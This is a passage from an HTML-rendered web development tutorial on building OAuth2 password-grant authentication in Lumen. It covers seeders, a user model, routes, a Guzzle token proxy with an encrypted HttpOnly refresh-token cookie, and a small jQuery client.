class="cp">?&gt;</span> </code></pre> </div> <p><i> Note: the cipher entry was added 22nd of June, as this is now a required configuration since Lumen 5.1 for the encrypt/decrypt library to work. </i></p> <p> Add configure statement to <code>bootstrap/app.php</code> </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nv">$app</span><span class="o">-&gt;</span><span class="na">configure</span><span class="p">(</span><span class="s1">'app'</span><span class="p">);</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">configure</span><span class="p">(</span><span class="s1">'secrets'</span><span class="p">);</span> </code></pre> </div> <p> Now create a seed file <code>database/seeds/OAuthSeeder.php</code> </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">use</span> <span class="nx">Illuminate\Database\Seeder</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Database\Eloquent\Model</span><span class="p">;</span> <span class="k">class</span> <span class="nc">OAuthSeeder</span> <span class="k">extends</span> <span class="nx">Seeder</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">run</span><span class="p">()</span> <span class="p">{</span> <span class="nv">$config</span> <span class="o">=</span> <span class="nx">app</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'config'</span><span class="p">);</span> <span class="nx">DB</span><span class="o">::</span><span class="na">table</span><span class="p">(</span><span class="s2">"oauth_clients"</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">delete</span><span class="p">();</span> <span class="nx">DB</span><span class="o">::</span><span class="na">table</span><span class="p">(</span><span class="s2">"oauth_clients"</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">insert</span><span class="p">([</span> <span class="s1">'id'</span> <span class="o">=&gt;</span> <span class="nv">$config</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">'secrets.client_id'</span><span class="p">),</span> <span class="s1">'secret'</span> <span class="o">=&gt;</span> <span class="nv">$config</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">'secrets.client_secret'</span><span class="p">),</span> <span class="s1">'name'</span> <span class="o">=&gt;</span> <span class="s1">'App'</span> <span class="p">]);</span> <span class="p">}</span> <span class="p">}</span> <span class="cp">?&gt;</span> </code></pre> </div> <p> ... and tell add the seed statement to <code>database/seeds/DatabaseSeeder.php</code> </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">call</span><span class="p">(</span><span class="s1">'OAuthSeeder'</span><span class="p">);</span> </code></pre> </div> <p> Now you can finally seed the database. First redump the autoload to get the newly created OAuth seeder file in the autoload file. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>composer dump-autoload <span class="o">&amp;&amp;</span> php artisan db:seed </code></pre> </div> <h3 id="creating-a-user-database">Creating a user database</h3> <p> We need a database of users to auth. This is not put in Lumen out-of-the-box, but we can quickly borrow some classes from the Laravel repository to set it up. I have used this <a href="https://github.com/laravel/laravel/blob/master/app/User.php" target="_blank">user model</a> and put it in <code>app/Auth/User.php</code> </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">App\Auth</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Auth\Authenticatable</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Database\Eloquent\Model</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Auth\Passwords\CanResetPassword</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Contracts\Auth\Authenticatable</span> <span class="k">as</span> <span class="nx">AuthenticatableContract</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Contracts\Auth\CanResetPassword</span> <span class="k">as</span> <span class="nx">CanResetPasswordContract</span><span class="p">;</span> <span class="k">class</span> <span class="nc">User</span> <span class="k">extends</span> <span class="nx">Model</span> <span class="k">implements</span> <span class="nx">AuthenticatableContract</span><span class="p">,</span> <span class="nx">CanResetPasswordContract</span> <span class="p">{</span> <span class="k">use</span> <span class="nx">Authenticatable</span><span class="p">,</span> <span class="nx">CanResetPassword</span><span class="p">;</span> <span class="sd">/** * The database table used by the model. * * @var string */</span> <span class="k">protected</span> <span class="nv">$table</span> <span class="o">=</span> <span class="s1">'users'</span><span class="p">;</span> <span class="sd">/** * The attributes that are mass assignable. * * @var array */</span> <span class="k">protected</span> <span class="nv">$fillable</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'name'</span><span class="p">,</span> <span class="s1">'email'</span><span class="p">,</span> <span class="s1">'password'</span><span class="p">];</span> <span class="sd">/** * The attributes excluded from the model's JSON form. * * @var array */</span> <span class="k">protected</span> <span class="nv">$hidden</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'password'</span><span class="p">,</span> <span class="s1">'remember_token'</span><span class="p">];</span> <span class="p">}</span> <span class="cp">?&gt;</span> </code></pre> </div> <p> also, create a migration file using <code>php artisan make:migration create_users_table</code> and put in this code. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">use</span> <span class="nx">Illuminate\Database\Schema\Blueprint</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Database\Migrations\Migration</span><span class="p">;</span> <span class="k">class</span> <span class="nc">CreateUsersTable</span> <span class="k">extends</span> <span class="nx">Migration</span> <span class="p">{</span> <span class="sd">/** * Run the migrations. * * @return void */</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">up</span><span class="p">()</span> <span class="p">{</span> <span class="nx">Schema</span><span class="o">::</span><span class="na">create</span><span class="p">(</span><span class="s1">'users'</span><span class="p">,</span> <span class="k">function</span><span class="p">(</span><span class="nx">Blueprint</span> <span class="nv">$table</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$table</span><span class="o">-&gt;</span><span class="na">increments</span><span class="p">(</span><span class="s1">'id'</span><span class="p">);</span> <span class="nv">$table</span><span class="o">-&gt;</span><span class="na">string</span><span class="p">(</span><span class="s1">'name'</span><span class="p">);</span> <span class="nv">$table</span><span class="o">-&gt;</span><span class="na">string</span><span class="p">(</span><span class="s1">'email'</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">unique</span><span class="p">();</span> <span class="nv">$table</span><span class="o">-&gt;</span><span class="na">string</span><span class="p">(</span><span class="s1">'password'</span><span class="p">,</span> <span class="mi">60</span><span class="p">);</span> <span class="nv">$table</span><span class="o">-&gt;</span><span class="na">rememberToken</span><span class="p">();</span> <span class="nv">$table</span><span class="o">-&gt;</span><span class="na">timestamps</span><span class="p">();</span> <span class="p">});</span> <span class="p">}</span> <span class="sd">/** * Reverse the migrations. * * @return void */</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">down</span><span class="p">()</span> <span class="p">{</span> <span class="nx">Schema</span><span class="o">::</span><span class="na">drop</span><span class="p">(</span><span class="s1">'users'</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="cp">?&gt;</span> </code></pre> </div> <p> Create a UserSeeder in <code>database/seeds/UserSeeder.php</code>. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">use</span> <span class="nx">Illuminate\Database\Seeder</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Database\Eloquent\Model</span><span class="p">;</span> <span class="k">class</span> <span class="nc">UserSeeder</span> <span class="k">extends</span> <span class="nx">Seeder</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">run</span><span class="p">()</span> <span class="p">{</span> <span class="nx">DB</span><span class="o">::</span><span class="na">table</span><span class="p">(</span><span class="s1">'users'</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">delete</span><span class="p">();</span> <span class="nv">$user</span> <span class="o">=</span> <span class="nx">app</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'App\Auth\User'</span><span class="p">);</span> <span class="nv">$hasher</span> <span class="o">=</span> <span class="nx">app</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'hash'</span><span class="p">);</span> <span class="nv">$user</span><span class="o">-&gt;</span><span class="na">fill</span><span class="p">([</span> <span class="s1">'name'</span> <span class="o">=&gt;</span> <span class="s1">'User'</span><span class="p">,</span> <span class="s1">'email'</span> <span class="o">=&gt;</span> <span class="s1">'user@user.com'</span><span class="p">,</span> <span class="s1">'password'</span> <span class="o">=&gt;</span> <span class="nv">$hasher</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'1234'</span><span class="p">)</span> <span class="p">]);</span> <span class="nv">$user</span><span class="o">-&gt;</span><span class="na">save</span><span class="p">();</span> <span class="p">}</span> <span class="p">}</span> <span class="cp">?&gt;</span> </code></pre> </div> <p> ... and add it to the database seeder <code>database/seeds/DatabaseSeeder.php</code> </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">call</span><span class="p">(</span><span class="s1">'UserSeeder'</span><span class="p">);</span> </code></pre> </div> <p> Finally dump autoload, migrate and seed. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>composer dump-autoload <span class="o">&amp;&amp;</span> php artisan migrate <span class="o">&amp;&amp;</span> php artisan db:seed </code></pre> </div> <h3 id="defining-some-api-routes">Defining some API routes</h3> <p> Now that we have our database seeded with a OAuth client and a test user, we need to create some routes for our API. Go to <code>app/Http/routes.php</code> and add the following routes. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nv">$app</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">'/'</span><span class="p">,</span> <span class="k">function</span><span class="p">()</span> <span class="k">use</span> <span class="p">(</span><span class="nv">$app</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="nx">view</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'client'</span><span class="p">);</span> <span class="p">});</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">'login'</span><span class="p">,</span> <span class="k">function</span><span class="p">()</span> <span class="k">use</span><span class="p">(</span><span class="nv">$app</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$credentials</span> <span class="o">=</span> <span class="nx">app</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'request'</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">input</span><span class="p">(</span><span class="s2">"credentials"</span><span class="p">);</span> <span class="k">return</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'App\Auth\Proxy'</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">attemptLogin</span><span class="p">(</span><span class="nv">$credentials</span><span class="p">);</span> <span class="p">});</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">'refresh-token'</span><span class="p">,</span> <span class="k">function</span><span class="p">()</span> <span class="k">use</span><span class="p">(</span><span class="nv">$app</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'App\Auth\Proxy'</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">attemptRefresh</span><span class="p">();</span> <span class="p">});</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">'oauth/access-token'</span><span class="p">,</span> <span class="k">function</span><span class="p">()</span> <span class="k">use</span><span class="p">(</span><span class="nv">$app</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="nx">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">json</span><span class="p">(</span><span class="nv">$app</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'oauth2-server.authorizer'</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">issueAccessToken</span><span class="p">());</span> <span class="p">});</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">group</span><span class="p">([</span><span class="s1">'prefix'</span> <span class="o">=&gt;</span> <span class="s1">'api'</span><span class="p">,</span> <span class="s1">'middleware'</span> <span class="o">=&gt;</span> <span class="s1">'oauth'</span><span class="p">],</span> <span class="k">function</span><span class="p">(</span><span class="nv">$app</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">'resource'</span><span class="p">,</span> <span class="k">function</span><span class="p">()</span> <span class="p">{</span> <span class="k">return</span> <span class="nx">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">json</span><span class="p">([</span> <span class="s2">"id"</span> <span class="o">=&gt;</span> <span class="mi">1</span><span class="p">,</span> <span class="s2">"name"</span> <span class="o">=&gt;</span> <span class="s2">"A resource"</span> <span class="p">]);</span> <span class="p">});</span> <span class="p">});</span> </code></pre> </div> <p> <code>POST oauth/access-token</code> is the url that will issue the access token. For security reasons we will not call this directly, but through a proxy. This is to hide the client id and secret from the client. To read up on this specific issue I highly recommend the article <a href="http://jeremymarc.github.io/2014/08/14/oauth2-with-angular-the-right-way/" target="_blank">Oauth2 with Angular: The right way</a>. Instead we will attempt to login using <code>POST login</code> which will call <code>POST oauth/access-token</code> using a proxy written with <code>GuzzleHttp/guzzle</code>. </p> <p> <code>POST refresh-token</code> will be used to request new access tokens using our refresh token. </p> <p> <code>GET api/resource</code> is an API endpoint for a resource named resource. It uses the OAuth route middleware to check for a valid access token which we will pass to the authorization header later on. </p> <h3 id="writing-our-proxy">Writing our proxy</h3> <p> It is never good practice to store ones client id and secret in the client for everyone to read. We therefore hide it by making a proxy that will issue our access token for us. First require Guzzle </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>composer require guzzlehttp/guzzle </code></pre> </div> <p> Next create the file <code>app/Auth/Proxy.php</code> and paste the following code. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">App\Auth</span><span class="p">;</span> <span class="k">use</span> <span class="nx">GuzzleHttp\Client</span><span class="p">;</span> <span class="k">class</span> <span class="nc">Proxy</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">attemptLogin</span><span class="p">(</span><span class="nv">$credentials</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">proxy</span><span class="p">(</span><span class="s1">'password'</span><span class="p">,</span> <span class="nv">$credentials</span><span class="p">);</span> <span class="p">}</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">attemptRefresh</span><span class="p">()</span> <span class="p">{</span> <span class="nv">$crypt</span> <span class="o">=</span> <span class="nx">app</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'encrypter'</span><span class="p">);</span> <span class="nv">$request</span> <span class="o">=</span> <span class="nx">app</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'request'</span><span class="p">);</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">proxy</span><span class="p">(</span><span class="s1">'refresh_token'</span><span class="p">,</span> <span class="p">[</span> <span class="s1">'refresh_token'</span> <span class="o">=&gt;</span> <span class="nv">$crypt</span><span class="o">-&gt;</span><span class="na">decrypt</span><span class="p">(</span><span class="nv">$request</span><span class="o">-&gt;</span><span class="na">cookie</span><span class="p">(</span><span class="s1">'refreshToken'</span><span class="p">))</span> <span class="p">]);</span> <span class="p">}</span> <span class="k">private</span> <span class="k">function</span> <span class="nf">proxy</span><span class="p">(</span><span class="nv">$grantType</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$data</span> <span class="o">=</span> <span class="p">[])</span> <span class="p">{</span> <span class="k">try</span> <span class="p">{</span> <span class="nv">$config</span> <span class="o">=</span> <span class="nx">app</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'config'</span><span class="p">);</span> <span class="nv">$data</span> <span class="o">=</span> <span class="nb">array_merge</span><span class="p">([</span> <span class="s1">'client_id'</span> <span class="o">=&gt;</span> <span class="nv">$config</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">'secrets.client_id'</span><span class="p">),</span> <span class="s1">'client_secret'</span> <span class="o">=&gt;</span> <span class="nv">$config</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">'secrets.client_secret'</span><span class="p">),</span> <span class="s1">'grant_type'</span> <span class="o">=&gt;</span> <span class="nv">$grantType</span> <span class="p">],</span> <span class="nv">$data</span><span class="p">);</span> <span class="nv">$client</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Client</span><span class="p">();</span> <span class="nv">$guzzleResponse</span> <span class="o">=</span> <span class="nv">$client</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="nb">sprintf</span><span class="p">(</span><span class="s1">'%s/oauth/access-token'</span><span class="p">,</span> <span class="nv">$config</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">'app.url'</span><span class="p">)),</span> <span class="p">[</span> <span class="s1">'form_params'</span> <span class="o">=&gt;</span> <span class="nv">$data</span> <span class="p">]);</span> <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">\GuzzleHttp\Exception\BadResponseException</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$guzzleResponse</span> <span class="o">=</span> <span class="nv">$e</span><span class="o">-&gt;</span><span class="na">getResponse</span><span class="p">();</span> <span class="p">}</span> <span class="nv">$response</span> <span class="o">=</span> <span class="nb">json_decode</span><span class="p">(</span><span class="nv">$guzzleResponse</span><span class="o">-&gt;</span><span class="na">getBody</span><span class="p">());</span> <span class="k">if</span> <span class="p">(</span><span class="nb">property_exists</span><span class="p">(</span><span class="nv">$response</span><span class="p">,</span> <span class="s2">"access_token"</span><span class="p">))</span> <span class="p">{</span> <span class="nv">$cookie</span> <span class="o">=</span> <span class="nx">app</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'cookie'</span><span class="p">);</span> <span class="nv">$crypt</span> <span class="o">=</span> <span class="nx">app</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'encrypter'</span><span class="p">);</span> <span class="nv">$encryptedToken</span> <span class="o">=</span> <span class="nv">$crypt</span><span class="o">-&gt;</span><span class="na">encrypt</span><span class="p">(</span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">refresh_token</span><span class="p">);</span> <span class="c1">// Set the refresh token as an encrypted HttpOnly cookie </span> <span class="nv">$cookie</span><span class="o">-&gt;</span><span class="na">queue</span><span class="p">(</span><span class="s1">'refreshToken'</span><span class="p">,</span> <span class="nv">$crypt</span><span class="o">-&gt;</span><span class="na">encrypt</span><span class="p">(</span><span class="nv">$encryptedToken</span><span class="p">),</span> <span class="mi">604800</span><span class="p">,</span> <span class="c1">// expiration, should be moved to a config file </span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">true</span> <span class="c1">// HttpOnly </span> <span class="p">);</span> <span class="nv">$response</span> <span class="o">=</span> <span class="p">[</span> <span class="s1">'accessToken'</span> <span class="o">=&gt;</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">access_token</span><span class="p">,</span> <span class="s1">'accessTokenExpiration'</span> <span class="o">=&gt;</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">expires_in</span> <span class="p">];</span> <span class="p">}</span> <span class="nv">$response</span> <span class="o">=</span> <span class="nx">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">json</span><span class="p">(</span><span class="nv">$response</span><span class="p">);</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">setStatusCode</span><span class="p">(</span><span class="nv">$guzzleResponse</span><span class="o">-&gt;</span><span class="na">getStatusCode</span><span class="p">());</span> <span class="nv">$headers</span> <span class="o">=</span> <span class="nv">$guzzleResponse</span><span class="o">-&gt;</span><span class="na">getHeaders</span><span class="p">();</span> <span class="k">foreach</span><span class="p">(</span><span class="nv">$headers</span> <span class="k">as</span> <span class="nv">$headerType</span> <span class="o">=&gt;</span> <span class="nv">$headerValue</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">header</span><span class="p">(</span><span class="nv">$headerType</span><span class="p">,</span> <span class="nv">$headerValue</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="cp">?&gt;</span> </code></pre> </div> <p><i> Note: some changes were added to the proxy class on 22nd of June 2015, as Guzzle 6 was released and it depreciated the use of the ‘body’ key for POST params. It also included the use of PSR-7 responses which to not have a json() function. </i></p> <p> I will not go to much into the details of the class. In short we have to options. </p> <ol> <li>Request an access token (login)</li> <li>Refresh the access token (access token has expired)</li> </ol> <p> Because we do not want to expose our client we do it through a proxy created with Guzzle. If we login we save the refresh token in a HttpOnly cookie (a cookie that cannot be accessed by client side scripts thus mitigating XSS attacks). </p> <p> If we request a refresh of our access token the server will decrypt the cookie and send it with the proxy request. If the refresh token is valid a new access token will be issued. </p> <h4 id="registering-cookie-middleware">Registering cookie middleware</h4> <p> The proxy utilizes queued cookies. To utilize this in Lumen we have to register <code>AddQueuedCookiesToResponse</code> middleware in <code>bootstrap/app.php</code> </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nv">$app</span><span class="o">-&gt;</span><span class="na">middleware</span><span class="p">([</span> <span class="s1">'LucaDegasperi\OAuth2Server\Middleware\OAuthExceptionHandlerMiddleware'</span><span class="p">,</span> <span class="s1">'Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse'</span> <span class="c1">// &lt;--- added </span><span class="p">]);</span> </code></pre> </div> <h2 id="building-a-small-client">Building a small client</h2> <p> We will build a small client in javascript that will interact with our API. Basically the client will have three actions. </p> <ol> <li>Request an access token and storing it</li> <li>Request the resource from the API</li> <li>Logout by removing the access token from local storage</li> </ol> <p> Let us build a quick skeleton for our client. Create the file <code>resources/views/client.blade.php</code> and add the markup below to it. </p> <div class="language-html highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span> <span class="nt">&lt;html</span> <span class="na">lang=</span><span class="s">"en"</span><span class="nt">&gt;</span> <span class="nt">&lt;head&gt;</span> <span class="nt">&lt;meta</span> <span class="na">charset=</span><span class="s">"utf-8"</span><span class="nt">&gt;</span> <span class="nt">&lt;title&gt;</span>Client<span class="nt">&lt;/title&gt;</span> <span class="nt">&lt;script </span><span class="na">type=</span><span class="s">"text/javascript"</span> <span class="na">src=</span><span class="s">"/vendor/jquery/dist/jquery.min.js"</span><span class="nt">&gt;&lt;/script&gt;</span> <span class="nt">&lt;script </span><span class="na">type=</span><span class="s">"text/javascript"</span> <span class="na">src=</span><span class="s">"/vendor/store-js/store.min.js"</span><span class="nt">&gt;&lt;/script&gt;</span> <span class="nt">&lt;script </span><span class="na">type=</span><span class="s">"text/javascript"</span> <span class="na">src=</span><span class="s">"/vendor/jquery-oauth/dist/jquery.oauth.min.js"</span><span class="nt">&gt;&lt;/script&gt;</span> <span class="nt">&lt;script </span><span class="na">type=</span><span class="s">"text/javascript"</span> <span class="na">src=</span><span class="s">"/js/client.js"</span><span class="nt">&gt;&lt;/script&gt;</span> <span class="nt">&lt;/head&gt;</span> <span class="nt">&lt;body&gt;</span> <span class="nt">&lt;button</span> <span class="na">id=</span><span class="s">"login"</span><span class="nt">&gt;</span>Login to API<span class="nt">&lt;/button&gt;</span> <span class="nt">&lt;button</span> <span class="na">id=</span><span class="s">"request"</span><span class="nt">&gt;</span>Request resource<span class="nt">&lt;/button&gt;</span> <span class="nt">&lt;button</span> <span class="na">id=</span><span class="s">"logout"</span><span class="nt">&gt;</span>Logout<span class="nt">&lt;/button&gt;</span> <span class="nt">&lt;/body&gt;</span> <span class="nt">&lt;/html&gt;</span> </code></pre> </div> <p> Now we need to install client dependencies. I highly recommend using Bower. We will use my library <a href="https://github.com/esbenp/jquery-oauth" target="_blank">esbenp/jquery-oauth</a> to manage and store the access token in the client. </p> <p> First we need to configure bower to use right installation path. Add the file <code>.bowerrc</code> to your project root. </p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nt">"directory"</span><span class="p">:</span><span class="w"> </span><span class="s2">"public/vendor/"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span></code></pre> </div> <p> Now install <code>jquery-oauth</code> </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>bower install --save jquery-oauth </code></pre> </div> <p> Now we will build the small client that will interact with the API. Create the file <code>public/js/client.js</code> and add the code. </p> <div class="language-javascript highlighter-rouge"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">Client</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">Client</span><span class="p">()</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="nx">authClient</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span> <span class="k">this</span><span class="p">.</span><span class="nx">_setupAuth</span><span class="p">();</span> <span class="k">this</span><span class="p">.</span><span class="nx">_setupEventHandlers</span><span class="p">();</span> <span class="p">}</span> <span class="nx">Client</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">_login</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">_login</span><span class="p">()</span> <span class="p">{</span> <span class="kd">var</span> <span class="nx">self</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span> <span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span> <span class="na">url</span><span class="p">:</span> <span class="s2">"/login"</span><span class="p">,</span> <span class="na">method</span><span class="p">:</span> <span class="s2">"POST"</span><span class="p">,</span> <span class="na">data</span><span class="p">:</span> <span class="p">{</span> <span class="na">credentials</span><span class="p">:</span> <span class="p">{</span> <span class="na">username</span><span class="p">:</span> <span class="s1">'user@user.com'</span><span class="p">,</span> <span class="na">password</span><span class="p">:</span> <span class="s1">'1234'</span> <span class="p">}</span> <span class="p">},</span> <span class="na">statusCode</span><span class="p">:</span> <span class="p">{</span> <span class="mi">200</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">accessToken</span> <span class="o">===</span> <span class="kc">undefined</span><span class="p">)</span> <span class="p">{</span> <span class="nx">alert</span><span class="p">(</span><span class="s1">'Something went wrong'</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nx">self</span><span class="p">.</span><span class="nx">authClient</span><span class="p">.</span><span class="nx">login</span><span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">accessToken</span><span class="p">,</span> <span class="nx">response</span><span class="p">.</span><span class="nx">accessTokenExpiration</span><span class="p">);</span> <span class="p">}</span> <span class="p">},</span> <span class="mi">401</span><span class="p">:</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="nx">alert</span><span class="p">(</span><span class="s1">'Login failed'</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">});</span> <span class="p">}</span> <span class="nx">Client</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">_logout</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">_logout</span><span class="p">()</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="nx">authClient</span><span class="p">.</span><span class="nx">logout</span><span class="p">();</span> <span class="p">}</span> <span class="nx">Client</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">_request</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">_request</span><span class="p">()</span> <span class="p">{</span> <span class="kd">var</span> <span class="nx">resource</span> <span class="o">=</span> <span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span> <span class="na">url</span><span class="p">:</span> <span class="s2">"/api/resource"</span><span class="p">,</span> <span class="na">statusCode</span><span class="p">:</span> <span class="p">{</span> <span class="mi">400</span><span class="p">:</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="nx">alert</span><span class="p">(</span><span class="s1">'Since we did not send an access token we get client error'</span><span class="p">);</span> <span class="p">},</span> <span class="mi">401</span><span class="p">:</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="nx">alert</span><span class="p">(</span><span class="s1">'You are not authenticated, if a refresh token is present will attempt to refresh access token'</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">})</span> <span class="p">.</span><span class="nx">done</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span> <span class="nx">alert</span><span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">data</span><span class="p">));</span> <span class="p">});</span> <span class="p">}</span> <span class="nx">Client</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">_setupAuth</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">_setupAuth</span><span class="p">()</span> <span class="p">{</span> <span class="kd">var</span> <span class="nx">self</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span> <span class="k">this</span><span class="p">.</span><span class="nx">authClient</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">jqOAuth</span><span class="p">({</span> <span class="na">events</span><span class="p">:</span> <span class="p">{</span> <span 